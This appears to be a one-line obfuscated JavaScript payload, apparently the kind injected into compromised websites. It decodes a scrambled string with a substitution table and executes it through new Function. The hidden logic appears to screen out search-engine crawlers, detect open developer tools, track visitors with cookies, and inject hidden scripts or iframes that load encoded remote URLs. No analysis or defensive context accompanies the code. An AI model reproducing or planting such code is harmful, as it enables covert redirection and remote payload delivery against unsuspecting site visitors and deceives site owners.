5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();